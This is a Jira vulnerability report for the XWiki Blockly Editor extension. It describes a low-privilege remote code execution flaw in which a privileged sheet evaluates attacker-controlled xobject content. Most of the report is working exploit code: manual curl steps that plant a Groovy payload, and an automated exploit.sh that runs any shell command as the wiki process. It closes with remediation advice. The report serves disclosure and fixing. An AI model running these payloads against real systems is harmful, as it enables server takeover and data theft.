Uploaded image for project: '{RETIRED} Blockly Editor'
  1. {RETIRED} Blockly Editor
  2. BLOCKLY-27

Low-privileged remote code execution through privileged evaluation of attacker-controlled xobject content

    XMLWordPrintable

Details

    • Bug
    • Resolution: Unresolved
    • Critical
    • None
    • 0.8
    • High
    • Unknown

    Description

      Summary

      Blockly.Code.BlocklyExecuteCodeSheet is an admin-authored sheet whose entire body is:

      {{velocity}}
         #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
      {{/velocity}}
      
      • $doc is the document the sheet is rendering against (the target doc, attacker-controlled).
      • getProperty('content').value reads the user-stored value of the content field of an xobject of class Blockly.Code.BlocklyClass.
      • #evaluate(...) evaluates that string as Velocity, in the sheet author's (xwiki:XWiki.Admin) PROGRAM context.

      Therefore any registered user with EDIT on a page they own can:

      1. Add a Blockly.Code.BlocklyClass xobject to their page,
      2. Place arbitrary Velocity (e.g. $xwiki.parseGroovy("...")) in the content field,
      3. Cause the sheet to render against their page: either via auto-binding (XWiki.SheetClass xobject pointing to Blockly.Code.BlocklyExecuteCodeSheet) or by appending ?sheet=Blockly.Code.BlocklyExecuteCodeSheet to their own page URL,
      4. The Velocity from content is executed with admin's PROGRAM rights -> RCE.

      Affected products

      Jira project: Blockly Editor
      Package: org.xwiki.contrib:application-blockly-ui
      Source repository: xwiki-contrib/application-blockly
      Affected version: 0.8, confirmed dynamically on XWiki 18.6.0

      Preconditions

      Required attacker level: registered + EDIT on a single page (own user space: default).
      Admin interaction: none.

      Technical details

      File and line

      application-blockly-ui/src/main/resources/Blockly/Code/BlocklyExecuteCodeSheet.xml

      <author>xwiki:XWiki.Admin</author>          <!-- line 32 -->
      <contentAuthor>xwiki:XWiki.Admin</contentAuthor>
      ...
      <content>
        {{velocity}}
             #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)   <!-- line 44 -->
        {{/velocity}}
      </content>
      

      Why a low-privileged user can plant the xobject

      • Blockly.Code.BlocklyClass is a public XClass installed by the contrib extension. No XWikiRights restriction is added at install time.
      • By XWiki defaults, every registered user has EDIT on their user-space pages and can attach any existing XClass xobject to a page they own.
      • The class's content field is declared as a generic TextArea/string (the value is treated as Velocity only on the rendering path).

      Why no admin interaction is needed

      • The ?sheet=... URL parameter on ViewAction lets the attacker apply any sheet they have VIEW access to. Blockly.Code.BlocklyExecuteCodeSheet is hidden but VIEW-readable to registered users by default.
      • Alternatively the attacker can plant an XWiki.SheetClass xobject on their own page that binds Blockly.Code.BlocklyExecuteCodeSheet automatically.
      • In either case, the attacker is the one rendering the page: no admin/other-user is involved.

      Root cause

      #evaluate is called on the value of an xobject field that any non-privileged user can write. There is no PROGRAM-rights check on the content's author, no Required-Rights enforcement on the field, and no whitelisting of the xobject's source page.

      Manual proof of concept

      Preconditions

      • XWiki 18.6.0
      • Blockly Editor org.xwiki.contrib:application-blockly-ui version 0.8 is installed.
      • The attacker account is cve:cve1234 and has EDIT but no SCRIPT, PROGRAM, or ADMIN right.

      • Every command below targets the authorized local lab.

      Manual terminal reproduction

      Execute each step separately. This makes the account, authorization boundary, object creation, and vulnerable trigger visible before running the automated version.

      1. Log in as the low-privileged account

      BASE='http://127.0.0.1:8888'
      USER_NAME='cve'
      USER_PASSWORD='cve1234'
      WORK=$(mktemp -d /tmp/blockly-manual.XXXXXX)
      COOKIE="$WORK/cookies.txt"
      PAGE="BlocklyIdProof$(date +%s)"
      CONTROL_PAGE="BlocklyRightsControl$(date +%s)"
      
      curl -sS -c "$COOKIE" -b "$COOKIE" \
        "$BASE/bin/login/XWiki/XWikiLogin" \
        -o "$WORK/login.html"
      
      LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
        "$WORK/login.html" | head -n1)
      
      curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
        "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
        --data-urlencode "j_username=$USER_NAME" \
        --data-urlencode "j_password=$USER_PASSWORD" \
        --data-urlencode "form_token=$LOGIN_TOKEN" \
        -o /dev/null
      

      2. Verify the identity and absence of administrator access

      curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
      grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1
      
      curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
        "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
      

      Expected output:

      data-xwiki-user-reference="xwiki:XWiki.cve"
      Global administration HTTP: 403
      

      3. Negative control: direct Groovy must be rejected

      curl -fsS -b "$COOKIE" \
        "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
        -o "$WORK/control-edit.html"
      
      FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
        "$WORK/control-edit.html" | head -n1)
      
      CONTROL_CONTENT='{{groovy}}
      println("DIRECT-GROOVY-SHOULD-NOT-RUN")
      {{/groovy}}'
      
      curl -fsS -b "$COOKIE" -X POST \
        "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
        --data-urlencode "content=$CONTROL_CONTENT" \
        --data-urlencode 'syntaxId=xwiki/2.1' \
        --data-urlencode "form_token=$FORM_TOKEN" \
        --data-urlencode 'action_save=Save' \
        -o /dev/null
      
      curl -fsS -b "$COOKIE" \
        "$BASE/bin/view/Sandbox/$CONTROL_PAGE" \
        -o "$WORK/control.html"
      
      grep -o 'Failed to execute the \[groovy\] macro[^<]*' "$WORK/control.html" | head -n1
      ! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
      

      Expected result: XWiki rejects the direct Groovy macro and the marker is absent.

      4. Create the attacker-owned page

      curl -fsS -b "$COOKIE" \
        "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" \
        -o "$WORK/edit.html"
      
      FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
        "$WORK/edit.html" | head -n1)
      
      curl -fsS -b "$COOKIE" -X POST \
        "$BASE/bin/save/Sandbox/$PAGE" \
        --data-urlencode 'content=Blockly low-user id proof' \
        --data-urlencode 'syntaxId=xwiki/2.1' \
        --data-urlencode "form_token=$FORM_TOKEN" \
        --data-urlencode 'action_save=Save' \
        -o /dev/null
      

      5. Add the malicious Blockly object

      The XML below creates Blockly.Code.BlocklyClass and places the payload in its content property. The payload
      executes /usr/bin/id and prefixes the returned output with BLOCKLY-RCE-.

      read -r -d '' BLOCKLY_XML <<'EOF' || true
      <object xmlns="http://www.xwiki.org">
        <className>Blockly.Code.BlocklyClass</className>
        <property name="content">
          <value>#set ($proof = $xwiki.parseGroovyFromString('class CVEBlocklyIdProof { String toString() { def p = new ProcessBuilder("/usr/bin/id").start(); p.waitFor(); return "BLOCKLY-RCE-" + p.inputStream.text.trim() } }'))
      $proof</value>
        </property>
      </object>
      EOF
      
      curl -sS -b "$COOKIE" -X POST \
        -H 'Content-Type: application/xml' \
        --data-binary "$BLOCKLY_XML" \
        "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
        -o "$WORK/object.xml" \
        -w 'Object creation HTTP: %{http_code}\n'
      

      Expected result:

      Object creation HTTP: 201
      

      6. Trigger the privileged Blockly sheet

      curl -fsS -b "$COOKIE" \
        "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
        -o "$WORK/result.html"
      
      grep -o 'BLOCKLY-RCE-[^<]*' "$WORK/result.html" | head -n1
      
      echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
      echo "Evidence directory: $WORK"
      

      Confirmed output in the local lab:

      BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root)
      

      The same cve session receives HTTP 403 for global administration and cannot execute a direct Groovy macro, but the
      Blockly sheet executes the attacker-controlled object value in the privileged sheet context.

      Automated proof of concept

      The following script performs the same sequence and stops if the identity, authorization checks, object creation, or
      /usr/bin/id result differs from the expected value.

      #!/usr/bin/env bash
      set -euo pipefail
      
      usage()
      {
        cat <<'EOF'
      Usage:
        ./exploit.sh -url <base_url> -u <username> -p <password> -c <command>
      
      Example:
        ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
      EOF
      }
      
      BASE=''
      USER_NAME=''
      USER_PASSWORD=''
      COMMAND=''
      
      while [[ $# -gt 0 ]]; do
        case "$1" in
          -url|--url)
            [[ $# -ge 2 ]] || { usage >&2; exit 2; }
            BASE=$2
            shift 2
            ;;
          -u|--username)
            [[ $# -ge 2 ]] || { usage >&2; exit 2; }
            USER_NAME=$2
            shift 2
            ;;
          -p|--password)
            [[ $# -ge 2 ]] || { usage >&2; exit 2; }
            USER_PASSWORD=$2
            shift 2
            ;;
          -c|--command)
            [[ $# -ge 2 ]] || { usage >&2; exit 2; }
            COMMAND=$2
            shift 2
            ;;
          -h|--help)
            usage
            exit 0
            ;;
          *)
            echo "Unknown argument: $1" >&2
            usage >&2
            exit 2
            ;;
        esac
      done
      
      if [[ -z "$BASE" || -z "$USER_NAME" || -z "$USER_PASSWORD" || -z "$COMMAND" ]]; then
        usage >&2
        exit 2
      fi
      
      BASE=${BASE%/}
      WORK=$(mktemp -d /tmp/blockly-automated.XXXXXX)
      COOKIE="$WORK/cookies.txt"
      SUFFIX=$(date +%s%N)
      PAGE="BlocklyCommandProof${SUFFIX}"
      CONTROL_PAGE="BlocklyRightsControl${SUFFIX}"
      CLASS_NAME="CVEBlocklyCommandProof${SUFFIX}"
      COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)
      
      echo '[1/6] Logging in'
      curl -sS -c "$COOKIE" -b "$COOKIE" \
        "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
      LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
        "$WORK/login.html" | head -n1)
      [[ -n "$LOGIN_TOKEN" ]]
      
      curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
        "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
        --data-urlencode "j_username=$USER_NAME" \
        --data-urlencode "j_password=$USER_PASSWORD" \
        --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
      
      curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
      grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
      echo "Authenticated identity: XWiki.$USER_NAME"
      
      echo '[2/6] Verifying lack of global administration access'
      ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
        "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
      echo "Global administration HTTP: $ADMIN_CODE"
      [[ "$ADMIN_CODE" == 403 ]]
      
      echo '[3/6] Verifying that direct Groovy is blocked'
      curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
        -o "$WORK/control-edit.html"
      TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
        "$WORK/control-edit.html" | head -n1)
      [[ -n "$TOKEN" ]]
      
      CONTROL_CONTENT='{{groovy}}
      println("DIRECT-GROOVY-SHOULD-NOT-RUN")
      {{/groovy}}'
      curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
        --data-urlencode "content=$CONTROL_CONTENT" \
        --data-urlencode 'syntaxId=xwiki/2.1' \
        --data-urlencode "form_token=$TOKEN" \
        --data-urlencode 'action_save=Save' -o /dev/null
      curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$CONTROL_PAGE" -o "$WORK/control.html"
      ! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
      echo 'Direct Groovy control: blocked'
      
      echo '[4/6] Creating the attacker-owned page'
      curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" -o "$WORK/edit.html"
      TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
        "$WORK/edit.html" | head -n1)
      [[ -n "$TOKEN" ]]
      curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$PAGE" \
        --data-urlencode 'content=Blockly automated command proof' \
        --data-urlencode 'syntaxId=xwiki/2.1' \
        --data-urlencode "form_token=$TOKEN" \
        --data-urlencode 'action_save=Save' -o /dev/null
      
      read -r -d '' BLOCKLY_PAYLOAD <<'EOF' || true
      #set ($proof = $xwiki.parseGroovyFromString('class __CLASS_NAME__ { String toString() { def command = new String(java.util.Base64.getDecoder().decode("__COMMAND_B64__"), "UTF-8"); def process = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start(); process.waitFor(); return "BLOCKLY-RCE-B64-" + java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes) } }'))
      $proof
      EOF
      BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__CLASS_NAME__/$CLASS_NAME}
      BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__COMMAND_B64__/$COMMAND_B64}
      
      read -r -d '' BLOCKLY_XML <<EOF || true
      <object xmlns="http://www.xwiki.org">
        <className>Blockly.Code.BlocklyClass</className>
        <property name="content"><value>$BLOCKLY_PAYLOAD</value></property>
      </object>
      EOF
      
      echo '[5/6] Adding the attacker-controlled Blockly object'
      OBJECT_CODE=$(curl -sS -b "$COOKIE" -X POST \
        -H 'Content-Type: application/xml' \
        --data-binary "$BLOCKLY_XML" \
        "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
        -o "$WORK/object.xml" -w '%{http_code}')
      echo "Object creation HTTP: $OBJECT_CODE"
      [[ "$OBJECT_CODE" == 201 ]]
      
      echo '[6/6] Triggering the privileged sheet'
      curl -fsS -b "$COOKIE" \
        "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
        -o "$WORK/result.html"
      MARKER=$(grep -o 'BLOCKLY-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.html" | head -n1)
      [[ -n "$MARKER" ]]
      OUTPUT_B64=${MARKER#BLOCKLY-RCE-B64-}
      
      echo '----- command output -----'
      printf '%s' "$OUTPUT_B64" | base64 -d
      echo '----- end command output -----'
      echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
      echo "Evidence directory: $WORK"
      
      

      Impact

      Any registered user with EDIT access to one page can execute arbitrary JVM code with the permissions of the XWiki
      process. This compromises the confidentiality, integrity, and availability of the wiki and host resources available to
      the service account. The attacker triggers the vulnerable sheet directly; no administrator or other victim is needed.

      Severity

      Severity: High: RCE under sheet author's PROGRAM context.
      CVSS 4.0: 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

      Weaknesses

      • CWE-94: Improper Control of Generation of Code
      • CWE-863: Incorrect Authorization

      Suggested remediation

      1. Verify the xobject's content author has PROGRAM before #evaluate-ing the field:
           #set ($contentAuthor = $doc.getObject('Blockly.Code.BlocklyClass').contentAuthor)
           #if ($services.security.authorization.hasAccess('programming', $contentAuthor, $doc.documentReference))
               #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
           #end
        
      1. Better: do not #evaluate user content at all. Render it as text or use a sandboxed transformation.
      2. Add a RequiredRightsClassDocumentRequirement for Blockly.Code.BlocklyClass so the platform Required-Rights analyzer rejects low-privilege saves of pages with this xobject.

      Evidence

       

      • Low-privileged XWiki.cve identity and global-administration HTTP 403:
      • Direct Groovy negative control showing that the same account cannot execute scripts normally:
      • Creation of the Blockly.Code.BlocklyClass object with HTTP 201:
      • Vulnerable sheet response containing BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root):

      Attachments

        1. image-2026-08-14-13-57-19-740.png
          81 kB
          Łukasz Rybak
        2. image-2026-08-14-13-58-45-530.png
          24 kB
          Łukasz Rybak
        3. image-2026-08-14-13-59-12-404.png
          123 kB
          Łukasz Rybak
        4. image-2026-08-14-13-59-52-252.png
          85 kB
          Łukasz Rybak
        5. image-2026-08-14-14-00-15-075.png
          62 kB
          Łukasz Rybak
        6. image-2026-08-14-14-01-41-906.png
          110 kB
          Łukasz Rybak
        7. image-2026-08-14-14-02-59-392.png
          118 kB
          Łukasz Rybak

        Activity

          People

            Unassigned Unassigned
            lukasz-rybak Łukasz Rybak
            Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

            Dates

              Created:
              Updated: